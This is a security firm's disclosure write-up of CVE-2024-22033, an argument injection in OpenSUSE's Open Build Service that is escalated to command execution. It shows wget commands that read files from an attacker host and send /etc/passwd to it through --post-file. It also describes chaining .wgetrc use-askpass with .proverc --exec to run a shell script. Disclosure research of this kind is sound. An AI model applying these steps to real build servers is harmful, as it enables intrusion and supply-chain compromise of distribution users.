Fenrisk

Contact Info
5 Rue Louis Dessard 95120, Ermont

Follow us

Supply Chain Attacks on Linux distributions - OpenSUSE Open Build Service

Supply Chain Attacks on Linux distributions - OpenSUSE Open Build Service

09 Mar 2025 By Maxime Rinaudo
Note: This article is part of a series on the security of the infrastructure of Linux distributions—don’t forget to read our introduction if you haven’t done it already!


Introduction to OBS

Open build service (OBS) is an open source distribution development platform provided by openSUSE. It allows developers to manage the whole packaging process in order to build a package from a simple software source and recipe. OBS creates images and packages for many operating systems and architectures. It is used by Opensuse (https://build.openSUSE.org/) and related Linux distributions but it is also used by projects and companies such as VLC, Dell or Intel. It supports a wide range of package formats such as RPM (for Red Hat and SUSE-based distributions), DEB (for Debian and Ubuntu), as well as newer formats like Flatpak and AppImage.

We recently discovered a critical vulnerability on the web frontend of this application that allows a remote attacker to execute system commands on the server. This vulnerability is an argument injection in the source code retrieval process. The application has now been patched and the CVE-2024-22033 has been assigned.

OBS overview

OBS frontend provides features like user and access management, projects and packages handling and manipulation of OBS data. Specifically, it is a Ruby on Rails application using a SQL database. Users can interact with the frontend using the web application or a Python-based CLI.

The OBS backend is responsible for handling source files and build jobs. The backend is basically composed of:

  • a source server handling source files.
  • a repository server handling binary files provided to the user.
  • a signer.
  • a scheduler.
  • a dispatcher.
  • workers handling the building process.

The backend provides users with many ways to manage input files using services (such as source code, archives, recipes, etc.). Backend services consist of a set of scripts written in different languages (bash, python or perl). They are used to clone sources from Git or SVN repositories, to extract files from an archive, to verify checksums, etc. These services are called by the backend as subprocesses according to clients’ requests. The backend is also responsible for building jobs, monitoring of the building process and package signing features. Details about OBS architecture are available in the documentation (https://openbuildservice.org/help/manuals/obs-admin-guide/cha-obs-admin).

The build process workflow functions essentially as follows:

  1. The user uploads files or specifies to the backend how to retrieve the files through the frontend.
  2. The backend scheduler detects the need of creating a new build.
  3. The scheduler creates a temporary directory, retrieves sources and files from the source server and/or executes the specified service(s). These tasks are executed using a low privileged user obsservicerun.
  4. The scheduler gives the task to the dispatcher. The dispatcher chooses a free worker to complete the build.
  5. The chosen worker creates the build environment according to the configuration (XEN, KVM, QEMU, etc., default is chroot).
  6. It builds the package according to the recipe in the proper environment.
  7. It sends back to the client the needed information and files using the repository server.

More details about the architecture are available in the documentation (https://openbuildservice.org/help/manuals/obs-user-guide/cha-obs-architecture)

In the frontend, the services involved in a build are configured in a XML file _service. This file is automatically created within the package’s directory and can be read and modified by users.

Installation of each software component is highly configurable but an all-in-one virtual machine is provided by OBS to make tests and developments.

CVE-2024-22033: Remote Code Execution in OBS

The OBS backend service responsible for downloading source code from a URL download_url is called when a user adds files using the File URL feature. For instance, using this feature to download a file from http://server.com:5000/myfile will automatically add the following content to the _service XML file in the package repository:

The download_url service is executed as follows:

/usr/lib/obs/service//download_url --url http://server.com:5000/myfile --outdir /srv/obs/service/...

Then, the script download_url calls the following wget subprocess in the temporary package repository:

/usr/bin/wget -4 http://server.com:5000/myfile

The parsing and the execution of _service project files is managed in /usr/lib/obs/server/bs_service process. As shown in the code below, the _service project file is parsed (line 156) and the URL is built according to the XML param field values (line 171). Spaces are properly escaped, and no argument is injectable at this time because a valid wget call needs at least one URL. Finally, the built command is executed (line 185).

However, the documentation of the download_url service indicates that an option download-manifest is available. This option builds a wget command using the --input-file option which can be substituted to URL in a valid wget command.

Using the service option download-manifest, the injection is now possible. The following steps have to be done :

  1. Upload a file with an arbitrary content to a controlled web server at the URL: http://attacker.fenri.sk/myfile.
  2. Create a file called tempfile in the OBS package that contains the URL http://attacker.fenri.sk/myfile and upload it in the OBS package using the frontend.
  3. Now, we are able to modify the service XML descriptor in the frontend as follows:

The download_url service executes a valid wget subprocess in the temporary build directory:

/usr/bin/wget -i /srv/obs/service/XXXXX/src/tempfile -4 --output-document=/tmp/test

When the wget command is executed, the file /tmp/test is created with the content of myfile. This file does not have execution rights and is owned by obsservicerun.

We are also able to read files on the file system by injecting argument --post-file instead of --output-document as follows:

/usr/bin/wget -i /srv/obs/service/XXXXX/src/tempfile -4 --post-file=/etc/passwd

The file content is sent as POST data to the URL specified in tempfile.

From unprivileged file read/write to command execution

At this point, we are able to read and write files on the filesystem as an unprivileged user but constraints are:

  1. The written files do not have execution rights.
  2. The writing process is executed by an unprivileged user obsservicerun: interesting directories on the server are not writable.
  3. The source code and scripts are not writable by obsservicerun: Source code modification is not an option.
  4. Obsservicerun has no shell to trigger an execution: writing home directory files such as .bashrc will not allow us to execute commands.
  5. Obsservicerun has no cronjob or scheduled task to modify to trigger a command execution.
  6. The configuration files of the application are not readable by obsservicerun: We will not be able to extract secrets such as keys from the application to trigger deserialization for example.

To sum up, we try to trigger a complex command execution using a file write in an unprivileged user’s home directory. Assuming that the wget command is executed, the helper shows us the use-askpass option can be used to specify credential handler for requesting:

However, wget takes its arguments from the command line as well as .wgetrc. Writing a .wgetrc file in the home directory of the user obsservicerun (/srv/obs/service/.wgetrc), using the use-askpass option, will trigger a simple binary execution (/usr/bin/id in the example) during the next call to wget:

Note: At this point, the injection could also be triggered by injecting directly the argument --use-askpass in the _source file.

Unfortunately, this binary execution cannot be called with arguments. Copying and executing a script is not an option because of the insufficient execution rights on uploaded files.

How to transform this binary call into a full command execution in order to establish a connect back on our server ?

We targeted installed binaries that use rc files for configuration expecting to find another option that would be helpful:

Many of these rc files could not help us because they are used by softwares that need an interactive shell or because they haven’t any option that executes system commands.

Finally, we found prove, the Perl test manager. prove is used to launch, merge, enable or disable tests and to define test output specifications (https://linux.die.net/man/1/prove). The command loads options from a .proverc file if it exists and one of its options executes a system command (--exec):

Then, using a .wgetrc file that calls prove, we’re able to transform this limited binary execution into full command execution:

We just need to write a .proverc file in the home directory of the user obsservicerun that contains, for example:

The next call to wget will trigger the call of prove through use-askpass option. Prove will read options from .proverc files and execute the arbitrary command: /bin/bash /tmp/script.sh

Timeline
  • 2024-06-28 - First contact with openSUSE to retrieve GPG key.
  • 2024-06-29 - The vulnerability details are sent.
  • 2024-07-01 - The vulnerability is accepted and a ticket is created.
  • 2024-07-10 - CVE-2024-22033 has been given.
  • 2024-07-10 - A patch is available.
Conclusion

We demonstrated that the package builder of a major Linux distribution (and forked distributions) could be compromised using a well known bug category. An attacker, compromising the builder server, would be able to reach secrets used by the signer in order to push evil packages to compromise OpenSuse users.

It should be noted that the OpenSuse security team brought a very fast answer to this report. An effective patch was available within a few days. We would like to thank them for their reactivity and efficiency.

Maxime Rinaudo

Maxime Rinaudo

Maxime Rinaudo est le co-fondateur de Fenrisk ainsi que l'un de ses experts en sécurité. Il est également passionné par la sécurité des applications web. Après avoir travaillé dix années au sein du Ministère des armées et 3 ans en tant que consultant à Paris, Maxime à décidé de rejoindre Julien dans son aventure afin de partager leur vision de la sécurité offensive.